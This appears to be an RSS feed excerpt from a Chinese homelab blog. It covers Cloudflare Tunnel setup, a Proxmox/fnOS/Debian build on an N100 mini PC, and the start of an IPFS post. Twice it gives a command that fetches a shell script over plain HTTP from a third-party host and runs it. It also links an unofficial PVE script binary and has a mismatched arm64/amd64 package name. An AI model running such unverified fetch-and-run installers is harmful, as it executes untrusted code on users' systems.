&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;AndroidTermux&lt;/h2&gt;
&lt;p&gt;在Android上安装&lt;a href=&quot;https://termux.dev&quot;&gt;Termux | The main termux site and help pages.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在终端执行:&lt;code&gt;pkg install cloudflared&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;选择&lt;code&gt;Debian&lt;/code&gt;然后复制最右边的命令到终端执行&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-29-08-42-38-image.Epg3ZSDA.webp&quot; alt=&quot;&quot; /&gt;
如果你无法使用Termux自带的cloudflared请尝试安装proot容器实现&lt;/p&gt;
&lt;p&gt;依次输入命令:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pkg update &amp;amp;&amp;amp; pkg upgrade
pkg install proot
pkg install proot-distro
proot-distro list
proot-distro install debian
proot-distro login debian
apt install wget
wget https://github.com/cloudflare/cloudflared/releases/download/2024.10.1/cloudflared-linux-arm64.deb
dpkg -i cloudflared-linux-amd64.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后直接复制右边的命令到SSH终端执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-29-08-42-38-image.Epg3ZSDA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你无法通过令牌配置cloudflared请参见&lt;a href=&quot;#%E6%9C%AC%E5%9C%B0%E6%96%B9%E5%BC%8F&quot;&gt;本地方式配置cloudflared&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;配置并访问Tunnel&lt;/h1&gt;
&lt;h2&gt;通过网页配置&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法需要直接在安装了cloudflared的设备上通过令牌运行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如图进入创建一个HTTP隧道&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-49-21-image.eADBBM2j.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-49-44-image.DpwCTS0j.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写你的IP和端口非Docker模式可以直接填写localhost&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-53-37-image.DtsQD-YS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;本地方式&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法只需要在安装了cloudflared的设备上输入一些命令然后通过网页授权后续更改配置也需要在本地操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;登录并授权:&lt;code&gt;cloudflared tunnel login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;创建隧道并设置隧道HTTP模式穿透目标地址&lt;code&gt;127.0.0.1&lt;/code&gt;,端口:&lt;code&gt;8080&lt;/code&gt;,外部域名:&lt;code&gt;test.onani.cn&lt;/code&gt;&lt;code&gt;cloudflared tunnel --name test --url http://127.0.0.1:8080 --http2 --hostname test.onani.cn&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;访问测试&lt;/h2&gt;
&lt;p&gt;成功访问&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-54-42-image.ngPhAoGm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用STUN打洞&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法可以不进行任何配置直接在公网上被访问并且所有类型的服务都能正常使用。但是这种方式进行的内网穿透无法固定也无法指定IP和端口在3~7天后会改变&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;安装Lucky&lt;/h2&gt;
&lt;p&gt;执行:&lt;code&gt;curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh &amp;amp;&amp;amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;host:16601&lt;/code&gt; 进入Lucky后台设置STUN穿透。如果DMZ主机不设为Lucky主机可能会失败。打码的地方即公网访问的IP和端口&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-28-18-56-16-image.B4KvIkrQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>N100 - PVEfnOS+Debian基建记录</title><link>https://blog.acofork.com/posts/n100-pve/</link><guid isPermaLink="true">https://blog.acofork.com/posts/n100-pve/</guid><description>在N100小主机上安装PVE然后在其中安装飞牛NAS和Debian实现追番建站分离并且易扩展易迁移</description><pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配置&amp;amp;需求&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;N100 CPU 频率:最小 700 Mhz, 最大 3400 Mhz | TDP6 W&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8G RAM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;128G M.2 NVme SSD&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;512G SATA HDD&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Realtek R8168 有线网卡&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;USB有线网卡&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;U盘作PVE引导盘&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;目标&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;所有系统通过PVE管理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PVE下安装fnOS作NAS并配置自动追番直通&lt;code&gt;N100核显&lt;/code&gt; &lt;code&gt;512G SATA HDD&lt;/code&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PVE下安装Debian搭建QQBot、博客、AList&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;1. PVE&lt;/h1&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载Ventoy最新版可执行文件&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ventoy.net/cn/download.html&quot;&gt;https://www.ventoy.net/cn/download.html&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用GPT分区表NTFS格式将Ventoy写入U盘&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下载PVE最新版ISO使用USTC镜像源&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/proxmox.html&quot;&gt;https://mirrors.ustc.edu.cn/help/proxmox.html&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将PVE的ISO文件放入U盘根目录&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;插入USB网卡U盘连接到到N100开机从U盘启动进入PVE安装界面安装PVE。网络配置选择USB网卡&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启进入PVE通过IP+8006端口进入WebUI登录进去&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;h3&gt;安装PVE快捷管理脚本&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装PVE快捷管理脚本&lt;a href=&quot;https://alist.onani.cn/pve_source.tar.gz&quot;&gt;pve_source.tar.gz | AcoFork-AList&lt;/a&gt;&lt;a href=&quot;https://wwp.lanzoul.com/ivHta1ngmo6d&quot;&gt;&lt;strong&gt;https://wwp.lanzoul.com/ivHta1ngmo6d&lt;/strong&gt;&lt;/a&gt; (密码:i1ws来自在下莫老师&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;解压:&lt;code&gt;tar zxvf pve_source.tar.gz&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;运行:&lt;code&gt;./pve_source&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;同意许可协议&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;依次执行白框操作&lt;img src=&quot;https://blog.acofork.com/_astro/ea205e1a00e7029dfa4bd7850c5a6a68d6d4c0d9.DcsiDNsw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;扩容local&lt;code&gt;lvextend -rl +100%FREE /dev/pve/root&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;配置Realtek R8168网卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于Debian系默认安装R8169驱动我们需要手动安装R8168驱动否则无法使用N100小主机自带的有线网口上网&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载驱动:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.realtek.com/Download/List?cate_id=584&quot;&gt;https://www.realtek.com/Download/List?cate_id=584&lt;/a&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0d8457c7fb0d497e12e2c8b544f07c3c37cf96cd.dqoepLBs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解压,安装:&lt;code&gt;sh autorun.sh&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看是否有新的网络接口:&lt;code&gt;ip a&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;root@n100-pve:~# ip a
...
2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
...
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置网络配置文件:&lt;code&gt;nano /etc/network/interfaces&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# network interface settings; autogenerated
# Please do NOT modify this file directly, unless you know what
# you&apos;re doing.
#
# If you want to manage parts of the network configuration manually,
# please utilize the &apos;source&apos; or &apos;source-directory&apos; directives to do
# so.
# PVE will preserve these directives, but will NOT read its network
# configuration from sourced files, so do not attempt to move any of
# the PVE managed interfaces into external files!
auto lo
iface lo inet loopback
iface wlp1s0 inet manual
iface enp3s0 inet manual
auto vmbr1
iface vmbr1 inet static
address 192.168.124.25/24
gateway 192.168.124.1
bridge-ports enp3s0
bridge-stp off
bridge-fd 0
iface vmbr1 inet6 auto
dhcp 1
accept_ra 2
request_prefix 1
source /etc/network/interfaces.d/*
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启网络服务:&lt;code&gt;systemctl restart networking&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看ip&lt;code&gt;ip a&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-pve:~# ip a
...
2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
...
4: vmbr1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
inet 192.168.124.25/24 scope global vmbr1
valid_lft forever preferred_lft forever
inet6 2409:8a30:320:7fc0:2e0:4cff:fe08:91a6/64 scope global dynamic mngtmpaddr
valid_lft 2763sec preferred_lft 2762sec
inet6 fe80::2e0:4cff:fe08:91a6/64 scope link
valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;卸除USB网卡&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;配置STUN穿透&lt;/h3&gt;
&lt;h4&gt;路由器设置DMZ主机为PVEIP&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/dbeb7980e5fc699c696ffa6f2fda4a17c05ee821.BHcoVBMN.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;安装Lucky&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;执行:&lt;code&gt;curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh &amp;amp;&amp;amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;host:16601&lt;/code&gt; 进入Lucky后台设置STUN穿透&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2175839424184aee880b91382bd1fbf3c578d258.D5_1fXwe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. fnOS&lt;/h1&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往官网下载最新版ISO&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.fnnas.com/&quot;&gt;https://www.fnnas.com/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上传至PVE&lt;img src=&quot;https://blog.acofork.com/_astro/073808516d357e099a866c30b4a77954c5b9b458.4DYT2j5f.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建fnOS虚拟机CPU类型选择host步骤略&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直通核显和硬盘:&lt;img src=&quot;https://blog.acofork.com/_astro/08e4f7a3b87ae86334011e1d4c3a384a36ad9866.KRDPB0W6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你不知道你的核显和SATA控制器的PCI ID&lt;code&gt;lspci&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;可见核显为&lt;code&gt;00:02.0&lt;/code&gt;SATA控制器为&lt;code&gt;00:17.0&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-pve:~# lspci
00:00.0 Host bridge: Intel Corporation Device 461c
00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics]
00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01)
00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller
00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM
00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller
00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller
00:1a.0 SD Host controller: Intel Corporation Device 54c4
00:1c.0 PCI bridge: Intel Corporation Device 54be
00:1d.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
00:1d.1 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
00:1e.0 Communication controller: Intel Corporation Alder Lake-N Serial IO UART Host Controller
00:1e.3 Serial bus controller: Intel Corporation Device 54ab
00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller
00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller
00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus
00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller
01:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83)
02:00.0 Non-Volatile memory controller: Realtek Semiconductor Co., Ltd. RTS5765DL NVMe SSD Controller (DRAM-less) (rev 01)
03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 2b)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动虚拟机安装fnOS&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往飞牛设置创建储存空间Linear模式选择刚才直通的硬盘&lt;img src=&quot;https://blog.acofork.com/_astro/581cf01462df545a8662acbb5e20e1676bd17744.B_2W63Xj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前往飞牛应用中心安装qBittorrent、影视并且在设置给予目录读取权限&lt;img src=&quot;https://blog.acofork.com/_astro/92a2e0bf25d630db4858775fdbb6c907f419c25d.CGB915n5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置qBittorrent的用户名和密码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开飞牛Docker初始化&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拉取并运行AutoBangumi Docker镜像&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d \
--name=AutoBangumi \
-v /vol1/1000/AutoBangumi/config:/app/config \
-v /vol1/1000/AutoBangumi/data:/app/data \
-p 7892:7892 \
-e TZ=Asia/Shanghai \
-e PUID=$(id -u) \
-e PGID=$(id -g) \
-e UMASK=022 \
--network=bridge \
--dns=8.8.8.8 \
--restart unless-stopped \
ghcr.onani.cn/estrellaxd/auto_bangumi:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;code&gt;host:7892&lt;/code&gt; 让AutoBangumi连接qBittorrent并配置下载地址&lt;img src=&quot;https://blog.acofork.com/_astro/82c4a003d2399f82a7ccf5849cd1d5858d5f1f61.CSVrglg3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;添加RSS。可前往&lt;a href=&quot;https://mikanime.tv/&quot;&gt;蜜柑计划 - Mikan Project&lt;/a&gt;获得各个字幕组的RSS&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f36daae968d8043bbcd1e4a2bbb9b9cd2d707cee.Dkd2uNmd.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意:使用&lt;a href=&quot;https://mikanime.tv/&quot;&gt;蜜柑计划 - Mikan Project&lt;/a&gt;请订阅单个字幕组的RSS不要使用个人的RSS会导致&lt;strong&gt;只能获取到你所有追番的最新一集而不是单个番的全部剧集&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开飞牛影视,初始化并设置媒体库&lt;img src=&quot;https://blog.acofork.com/_astro/269b78c3b7dffe7f8cdb861098f44147552b5eb4.D3_UaCnX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;注意:如果要刮削旧集旧番,请规范重命名,可以使用自动化工具:&lt;a href=&quot;https://alist.onani.cn/Episode-ReName.zip&quot;&gt;Episode-ReName.zip | AcoFork-AList&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一级目录即qb下载目录无需重命名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;二级目录:番剧名称&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;三级目录:季,如&lt;code&gt;Season 1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;四级目录:集和字幕,如&lt;code&gt;S01E01.mp4&lt;/code&gt; &lt;code&gt;S01E01.chs.ass&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. Debian&lt;/h1&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载Debian12 ISOUSTC镜像源建议选择DVD镜像包更全安装更快&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/debian-cd.html&quot;&gt;https://mirrors.ustc.edu.cn/help/debian-cd.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上传至PVE创建Debian虚拟机CPU类型选择host步骤略&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安装1Panel&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://1panel.cn/docs/installation/online_installation/&quot;&gt;https://1panel.cn/docs/installation/online_installation/&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在1Panel中安装&lt;code&gt;Openresty&lt;/code&gt; &lt;code&gt;MySQL&lt;/code&gt; &lt;code&gt;Halo&lt;/code&gt; &lt;code&gt;AList&lt;/code&gt; &lt;code&gt;Cloudflared&lt;/code&gt; 配置步骤略&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;搭建QQBot&lt;/h3&gt;
&lt;h4&gt;安装OneBotv11协议实现Lagrange.OneBot&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Docker Run&lt;code&gt;docker run -td -p 8081:8081 -v /root/qqbot/lo:/app/data -e UID=$UID -e GID=$(id -g) ghcr.onani.cn/lagrangedev/lagrange.onebot:edge&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修改配置文件:&lt;code&gt;appsettings.json&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;Logging&quot;: {
&quot;LogLevel&quot;: {
&quot;Default&quot;: &quot;Information&quot;,
&quot;Microsoft&quot;: &quot;Warning&quot;,
&quot;Microsoft.Hosting.Lifetime&quot;: &quot;Information&quot;
}
},
&quot;SignServerUrl&quot;: &quot;&quot;,
&quot;SignProxyUrl&quot;: &quot;&quot;,
&quot;MusicSignServerUrl&quot;: &quot;&quot;,
&quot;Account&quot;: {
&quot;Uin&quot;: 0,
&quot;Password&quot;: &quot;&quot;,
&quot;Protocol&quot;: &quot;Linux&quot;,
&quot;AutoReconnect&quot;: true,
&quot;GetOptimumServer&quot;: true
},
&quot;Message&quot;: {
&quot;IgnoreSelf&quot;: true,
&quot;StringPost&quot;: false
},
&quot;QrCode&quot;: {
&quot;ConsoleCompatibilityMode&quot;: false
},
&quot;Implementations&quot;: [
{
&quot;Type&quot;: &quot;ReverseWebSocket&quot;,
&quot;Host&quot;: &quot;192.168.124.34&quot;,
&quot;Port&quot;: 9090,
&quot;Suffix&quot;: &quot;/onebot/v11/ws&quot;,
&quot;ReconnectInterval&quot;: 5000,
&quot;HeartBeatInterval&quot;: 5000,
&quot;AccessToken&quot;: &quot;&quot;
}
]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启容器,扫码登录&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;安装NoneBot2&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装pip&lt;code&gt;apt install python3-pip&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置pip USTC源&lt;code&gt;pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装pipx&lt;code&gt;apt install pipx&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装nb-cli&lt;code&gt;pipx install nb-cli&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置pipx变量&lt;code&gt;pipx ensurepath&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装nb bootstrap&lt;code&gt;nb self install nb-cli-plugin-bootstrap&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建新NoneBot2项目&lt;code&gt;nb bs&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;root@n100-debian:~# nb bs
加载适配器列表中……
请输入项目名称
[?] 请输入 &amp;gt; onani
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
请输入 Bot 超级用户,超级用户拥有对 Bot 的最高权限(如对接 QQ 填 QQ 号即可)(留空回车结束输入)
[?] 第 1 项 &amp;gt; 666
[?] 第 2 项 &amp;gt;
请输入 Bot 昵称,消息以 Bot 昵称开头可以代替艾特(留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 Bot 命令起始字符,消息以起始符开头将被识别为命令,
如果有一个指令为 查询,当该配置项中有 &quot;/&quot; 时使用 &quot;/查询&quot; 才能够触发,
留空将使用默认值 [&apos;&apos;, &apos;/&apos;, &apos;#&apos;](留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 Bot 命令分隔符,一般用于二级指令,
留空将使用默认值 [&apos;.&apos;, &apos; &apos;](留空回车结束输入)
[?] 第 1 项 &amp;gt;
请输入 NoneBot2 监听地址,如果要对公网开放,改为 0.0.0.0 即可
[?] 请输入 &amp;gt; 0.0.0.0
请输入 NoneBot2 监听端口,范围 1 ~ 65535请保证该端口号与连接端配置相同或与端口映射配置相关
[?] 请输入 &amp;gt; 9090
[?] 是否在项目目录中释出快捷启动脚本? Yes
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot Yes
[?] 是否使用超级用户 Ping 指令回复插件? Yes
[?] 是否安装 logpile 插件提供日志记录到文件功能? Yes
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot该插件仍在开发中不推荐用于生产环境 No
成功新建项目 onani
[?] 是否新建虚拟环境? Yes
正在 /root/onani/.venv 中创建虚拟环境
创建虚拟环境成功
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置? No
[?] 是否立即安装项目依赖? Yes
正在安装项目依赖
依赖安装成功
[?] 请选择需要启用的内置插件
项目配置完毕,开始使用吧!
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;成果展示(域名已弃用)&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/4b4680cc548e0c59ec18cef537c9b1f5412fbbcd.C3rDZv3m.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.onani.cn&quot;&gt;https://blog.onani.cn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://alist.onani.cn&quot;&gt;https://alist.onani.cn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/7c24ff7d54b2e0ccaecce4b2ef79155c54124fa4.BIVml-0X.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>使用基于IPFS的Fleek部署静态网站、托管图床、部署服务</title><link>https://blog.acofork.com/posts/ipfs/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ipfs/</guid><description>IPFS是一个多节点的文件托管系统你可以在上面共享文件、发布网站、而Fleek自动化了这个过程并且可以链接你的Git存储库</description><pubDate>Thu, 17 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文过旧,某些资源可能已经不可用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;什么是IPFS&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;IPFS是点到点的超媒体协议它让网络更快、更安全、更开放。说简单一点它就是一个去中心化互联网。说技术一点它是一个基于分布式哈希表DHT进行内容寻址的基于git模型版本管理的基于默克尔对象关联的基于点对点技术的基于全球化命名空间IPNS的基于各种技术的一种分布式文件系统。&lt;/p&gt;
&lt;/blockquote&gt;
